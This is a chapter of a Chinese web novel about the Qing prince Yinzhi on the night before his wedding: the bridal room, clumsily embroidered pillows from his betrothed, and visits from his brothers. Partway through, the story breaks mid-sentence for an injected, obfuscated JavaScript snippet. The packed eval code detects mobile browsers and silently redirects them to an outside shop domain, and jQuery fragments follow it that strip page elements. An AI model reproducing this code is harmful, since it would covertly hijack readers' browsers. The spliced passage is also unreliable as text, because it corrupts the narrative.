康熙三十五年三月初五,傍晚。
胤祉一个人坐在院子里,老槐树的枝丫还没发芽,光秃秃的,但枝头已经鼓起了米粒大小的嫩芽,在暮色中看不太真切。枣树苗长到快三尺高了,枝干比去年粗了一倍,树皮从嫩绿变成了浅褐,上面布满了细密的纹路。它站在老槐树旁边,像个小弟弟,又瘦又小,但笔直。
夕阳从西边照过来,把整座院子染成一片橘红色。白墙变成了淡金色,青瓦上泛着暖光,连那两株腊梅——已经谢了,光秃秃的——都被镀上了一层柔和的光晕。远处传来乌鸦归巢的叫声,哑哑的,一阵一阵的,衬得这傍晚格外安静。
胤祉坐在石凳上,手里攥着一个小布包,没打开,就那么攥着。布包是昭宁上午让人送来的,说是“给三爷的东西,明天再打开”。他攥了很久,最后还是没忍住,解开了系绳。
里面是一对枕头。大红色的绸面,绣着鸳鸯。鸳鸯的眼睛一大一小,翅膀的羽毛歪歪扭扭的,一只鸳鸯的嘴巴绣成了三角形,另一只的尾巴少了几针,露出底下的白绸。针脚不均匀,有的地方密有的地方疏,但能看出来绣的人很用心——每一针都扎得很深,线拉得很紧,没有一处是松的。
枕头下面压着一张纸条。纸条上的字迹娟秀工整,一笔一划写得端端正正:“三爷,我绣了一年。不好看,但很结实。你凑合用。”
胤祉把纸条看了两遍,折好,塞进袖子里。然后把枕头重新包好,放在石桌上。他盯着那对枕头看了一会儿,一只鸳鸯的眼睛歪了,看着像是在翻白眼。他忍不住笑了一下。
小路子从廊下探出头,手里捧着一件大红色的吉服,小心翼翼地问:“三阿哥,吉服熨好了,您要不要再试试?”
“不用了。早上试过了。”
“那靴子呢?奴才再给您擦一遍?”
“擦过了。”
“那——”小路子挠了挠头,想不出还有什么要做的了,“那奴才去烧水,您晚上泡个澡,明儿个一早起来就换衣裳。”
“去吧。”
小路子应了一声,缩回去了。
胤祉站起来,在院子里走了一圈。正房的门窗都重新刷了漆,朱红色的,在夕阳下亮得晃眼。窗户上贴着大红喜字,剪纸是荣妃亲手铰的,“囍”字端端正正的,笔画匀称,边角整齐,一看就是练过很多遍的。廊下挂着两盏红灯笼,还没点,但明天晚上就会亮起来。院子里铺了新的石板,缝隙里填了灰浆,踩上去平平整整的,不像以前那样坑坑洼洼。
他走到正房门口,推门进去。
屋里已经布置好了。屏风摆在进门处,紫檀木的框架,绣着大朵大朵的牡丹,红的粉的层层叠叠,在暮色中像真花一样。帐子是藕荷色的软烟罗,透光不透人,风吹过来微微飘动。墙上挂了两幅画,一幅花鸟一幅山水,都是荣妃挑的。窗台上摆着几盆水仙,开了一半,白色的花瓣黄色的蕊,香气淡淡的。炕桌上铺了一块淡蓝色的桌布,上面放着一套青花瓷的茶具,干干净净的。
床上的被褥是大红色的,绣着鸳鸯戏水。枕头一对——宫里备的那对,绣工精致,鸳鸯栩栩如生。昭宁送的那对,他打算放在里侧,自己用。
他在床沿上坐了一下。床板硬邦邦的,铺了好几层褥子,但还是硬。他摸了摸被面,绸缎滑溜溜的,凉丝丝的。被子是新弹的棉花,蓬蓬松松的,叠得整整齐齐。
他坐了一会儿,站起来,走到窗前,推开窗。院子里那棵枣树苗在暮色中只剩下一个模糊的影子,但他知道它在那里。他看了好一会儿,然后关窗,出了门。
回到院子里,他在石凳上又坐了下来。石凳凉飕飕的,但他没在意。他仰头看着天,天边的最后一抹光正在消失,从橘红变成暗紫,从暗紫变成灰蓝。星星还没出来,月亮也没出来,天空像一块巨大的深蓝色幕布,什么也没有。
他想起八年前,也是这样的傍晚,在慈宁宫。她追出来,扎着两个小揪揪,手里攥着一块点心,仰着脸说:“你以后要来找我玩啊。”她的眼睛黑亮黑亮的,像两颗刚洗过的葡萄。两个小揪揪在暮色中像两只蝴蝶,一颤一颤的。
那时候他十一,她九岁。他没想到,这个追出来喊话的小丫头,会成为他的人。更没想到,从那一刻到现在,已经过去了八年。
八年。他读了无数本书,写了无数封信,下了一次直隶,认识了大半个朝堂的人。她的信从歪歪扭扭到娟秀工整,画从麦苗变成柿子树变成鸳鸯,骑马从抱着马脖子喊救命到能稳稳当当地跑。他们见过几次面?五六次?七八次?每次都不超过半个时辰,说的话加起来不如一封信多。
但够了。有些人,不用见很多面,你就知道她是对的。
小路子端着热水从廊下走过,看见胤祉一个人坐在暮色里,停下来,小心翼翼地问:“三阿哥,您怎么坐外头?天快黑了,冷。”
“没事。你忙你的。”
小路子犹豫了一下,还是走了。院子里又安静下来。
胤祉站起来,走到枣树苗旁边,蹲下来看了看。土有点干了,他拿起小水壶,浇了一点水。水渗进土里,发出细微的滋滋声。他用手拨了拨根部的土,根系已经扎得很深了,细根在土里蔓延开来,牢牢地抓着大地。
“明天她就来了。”他轻声说。
树苗在风中晃了晃叶子,像是听懂了,又像是没听懂。
天彻底黑了。小路子点上了廊下的灯笼,橘黄色的光照在院子里,把老槐树的影子投在地上,像一幅墨色的画。胤祉回到屋里,在书案前坐下。桌上摆着笔墨纸砚,还有一沓信纸。
他铺开一张纸,提起笔。想写点什么,又不知道写什么。明天她就来了,有什么话当面说就行了,写信做什么?但他还是想写。有些话当面说不出口,写在纸上反而容易。
他想了想,写了一行字:“昭宁,明天你就是我的人了。不是三阿哥的福晋,是我的人。我会对你好的。一辈子。”
写完之后看了看,觉得太直白了,像在发誓。他把纸折好,没有装进信封,而是塞进了枕头底下——昭宁绣的那对枕头,他放在床上了。
门外传来脚步声。小路子的声音:“三阿哥,四阿哥来了。”
胤祉站起来,整理了一下衣袍。门被推开,胤禛走进来,手里提着一个食盒。他穿着一件月白色的棉袍,没戴帽子,头发束得紧紧的,露出一截清瘦的脖颈。他的脸在灯光下显得有些苍白,但眼睛是亮的。
“三哥。”他把食盒放在桌上,“芝麻烧饼。御膳房刚出炉的,我多要了一份。”
胤祉打开食盒,烧饼还是热的,芝麻的香气扑了满脸。他拿出一个,掰了一半递给胤禛。两个人坐在书案前,你一口我一口地吃。
“三哥,明天你成亲了。”胤禛嚼着烧饼,含混地说。
“嗯。”
“紧张吗?”
胤祉想了想,说:“不紧张。”
“骗人。”胤禛看了他一眼,“你说话的时候手指在桌上叩,你紧张的时候就这样。”
胤祉低头看了看自己的手——手指确实在桌上叩着,一下一下的。他把手放下来,压在膝盖下面。
“有点。”他说。
胤禛嘴角弯了一下,没再说。他把最后一口烧饼咽下去,拍了拍手上的芝麻。
“三哥,我明天喝真酒。”
“你十四了,可以喝一点。”
“不是一点。”胤禛说,“是敬你的时候喝一杯。多了不喝。”
胤祉笑了笑,没说话。两个人坐着,喝茶,吃烧饼,有一搭没一搭地说话。胤禛问起新房的布置,胤祉给他指了指屏风和帐子,胤禛站起来看了看,说“屏风上的牡丹绣得不错”。
“荣妃娘娘挑的。”
“荣妃娘娘眼光好。”
坐了小半个时辰,胤禛站起来告辞。走到门口,他忽然停下来,没有回头。
“三哥,明天你成亲了,以后就是大人了。”
“你说过了。”
“再说一遍。”胤禛的声音低了一些,“怕你忘了。”
他推门出去了。脚步声在廊下渐渐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616052|203971||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
远去。
胤祉坐在书案前,看着关上的门。他想起几年前,四弟还是个不爱说话的孩子,站在宫墙下,手里攥着一卷书,目光落在他身上,想靠近又不敢靠近。现在四弟十四了,个子长高了,话还是不多,但至少,他愿意来找他说说话了。
他笑了一下,又拿起了一个烧饼。
又过了一阵,门外又传来脚步声。这回不是一个人,是一串——噼里啪啦的,像是什么人在跑。门被一把推开,胤祺冲了进来,穿着一件大红色的棉袍,脸跑得红扑扑的,头发都散了。
“三哥!三哥!”他喘着气,弯着腰,手撑着膝盖,“皇玛嬷说让我来看看你,说你明天成亲了,今晚别紧张!”
“我不紧张。”
“不紧张就好!”胤祺直起身,眼睛在屋里转了一圈,看见桌上的烧饼,伸手就拿了一个,咬了一大口,“三哥,你明天穿什么?我明天穿那件大红色的蟒袍,皇玛嬷说我穿着好看!”
“你穿什么都好看。”
“那当然!”胤祺嚼着烧饼,含混不清地说,“三哥,三嫂明天就来了,她以后住哪儿?住这间屋子?”
“嗯。”
“那我以后来找你玩,会不会打扰你们?”
胤祉愣了一下,然后笑了:“不会。你随时来。”
“那就好!”胤祺把剩下的烧饼塞进嘴里,拍了拍手,“三哥,我回去了。皇玛嬷说让我早点睡,明天一大早就要起来。”他走到门口,又探回头来,“三哥,你早点睡,别熬夜!”
“知道了。”
胤祺跑了。脚步声噼里啪啦的,越来越远,最后消失在院门口。
胤祉坐在书案前,看了看桌上的烧饼——还剩下两个。他把它们包好,放在一边,明天早上吃。
他站起来,走到窗前,推开窗。夜风灌进来,凉飕飕的,带着一股初春特有的腥甜气息。院子里那棵枣树苗在月光下显得很小,细细的,但笔直。月光照在它嫩绿的叶子上,泛着淡淡的银光。老槐树的枝丫还是光秃秃的,但仔细看,枝头已经冒出了米粒大小的嫩芽。
他看了一会儿,然后关窗,转身,吹了灯,躺到床上。
被子里凉飕飕的,他蜷着身子,把被子裹紧。枕头上有一股淡淡的桂花香——昭宁绣的那对枕头,他放在床上了,头一偏就能闻到。他闻着那香气,脑子里乱七八糟的。想着明天穿吉服的样子,想着骑马去迎亲的路线,想着拜堂的时候会不会出错,想着挑盖头的时候手会不会抖。想了很多,又什么都没想明白。
窗外的月亮慢慢移动,从这边移到那边,清辉如水,洒在窗台上,薄薄的一层,像霜。远处传来打更的梆子声,一慢三快,三更天了。
他翻了个身,把脸埋进枕头里。桂花的香气钻进鼻腔,甜丝丝的,像昭宁信纸上熏过的那种香。他深深地吸了一口,然后慢慢地呼出去。
明天。她来了。
他闭上眼睛,嘴角翘着,慢慢地、慢慢地睡了过去。
梦里,他穿着吉服,骑着白马,迎亲的队伍浩浩荡荡。唢呐声、锣鼓声震天响,红绸在风中飘扬。到了董鄂府,昭宁被喜娘扶着出来,红盖头遮住了脸,凤冠上的流苏在风中轻轻晃动。他牵着红绸的另一端,把她引上花轿。
花轿里,她忽然掀开盖头的一角,露出一双亮晶晶的眼睛,冲他眨了眨眼。
“三爷,你来了。”
“来了。”
“我等了好久了。”
“我知道。”
她笑了一下,把盖头放下来,安安静静地坐在花轿里。轿帘垂下来,什么都看不见了。
他骑在马上,时不时回头看一眼花轿。
然后他醒了。天还没亮,窗纸上还是灰蒙蒙的一片。他躺在被窝里,盯着帐顶看了好一会儿。帐子是藕荷色的软烟罗,在晨光中像一层薄薄的雾。
他笑了一下,然后坐起来,掀开被子,下了床。
门外传来小路子的声音:“三阿哥,该起了!今儿个您大婚!”
天亮了。